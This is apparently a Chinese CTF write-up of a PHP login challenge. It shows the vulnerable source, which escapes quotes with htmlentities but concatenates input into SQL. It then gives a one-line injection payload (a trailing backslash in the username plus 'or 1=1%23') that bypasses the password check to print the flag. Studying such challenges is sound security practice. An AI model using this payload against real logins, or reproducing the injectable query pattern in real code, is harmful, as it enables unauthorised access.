源码如下

```php
<?php
 show_source("16.php");
   echo '<br>';
require 'flag.php';

error_reporting(0);
require 'config.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM userinfo WHERE uname=\''.$username.'\'  AND  pwd=\''.$password.'\';';
//echo $query;
$result=mysql_query($query);
//echo $result;
if(!$result || ($result) < 1){
    die('Invalid password!');
}

echo $flag;
mysql_close($con);
?>
```

查看源码，我们可以发现sql处存在注入

```
$query='SELECT * FROM userinfo WHERE uname=\''.$username.'\'  AND  pwd=\''.$password.'\';';
```

虽然前面过滤了 ‘和”，但是还是可以使用反斜杠来转义，之后再后面构造一个恒等式来实现恒等

payload：

```
username=admin\&password=or 1=1%23
```